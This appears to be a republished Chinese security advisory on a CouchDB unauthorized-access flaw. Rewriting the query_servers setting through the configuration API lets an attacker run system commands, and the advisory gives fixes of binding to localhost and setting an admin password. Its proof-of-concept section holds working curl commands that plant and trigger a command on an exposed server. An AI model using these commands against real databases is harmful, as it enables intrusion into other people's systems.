<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/16030

            0x00 前言


            5月16日阿里云盾攻防對抗團隊從外部渠道獲知CouchDB數據庫存在未授權訪問漏洞(在配置不正確的情況下)。經過測試,云盾團隊率先發現利用該未授權訪問漏洞不僅會造成數據的丟失和泄露,甚至可執行任意系統命令。云盾安全專家團隊第一時間完成了漏洞上報、安全評級,并通知了所有可能受影響的用戶。下面將對該漏洞的出處和技術細節做詳細解釋。

            0x01 漏洞的來龍去脈


            CouchDB 是一個開源的面向文檔的數據庫管理系統,可以通過 RESTful JavaScript Object Notation (JSON) API 訪問。CouchDB會默認會在5984端口開放Restful的API接口,用于數據庫的管理功能。

            那么,問題出在哪呢?翻閱官方描述會發現,CouchDB中有一個Query_Server的配置項,在官方文檔中是這么描述的:

            CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

            直白點說,就是CouchDB允許用戶指定一個二進制程序或者腳本,與CouchDB進行數據交互和處理,query_server在配置文件local.ini中的格式:

            [query_servers]
            LANGUAGE = PATH ARGS
            

            默認情況下,配置文件中已經設置了兩個query_servers:

            [query_servers]
            javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
            coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
            

            可以看到,CouchDB在query_server中引入了外部的二進制程序來執行命令,如果我們可以更改這個配置,那么就可以利用數據庫來執行命令了,但是這個配置是在local.ini文件中的,如何控制呢?

            繼續讀官方的文檔,發現了一個有意思的功能,CouchDB提供了一個API接口用來更改自身的配置,并把修改后的結果保存到配置文件中:

            The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

            也就是說,除了local.ini的配置文件,CouchDB允許通過自身提供的Restful API接口動態修改配置屬性。結合以上兩點,我們可以通過一個未授權訪問的CouchDB,通過修改其query_server配置,來執行系統命令。

            0x02 漏洞的POC


            新增query_server配置,這里執行ifconfig命令

            #!shell
            curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
            

            新建一個臨時表,插入一條記錄

            #!shell
            curl -X PUT 'http://1.1.1.1:5984/vultest'
            curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
            

            調用query_server處理數據

            #!shell
            curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
            

            執行后,可以看到,指定的命令已經成功執行:

            至于如何回顯執行結果,各位可以動動腦筋,歡迎互動。

            0x03 漏洞修復建議:


            1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機才能訪問CouchDB。

            2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼。

            附:參考鏈接:

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线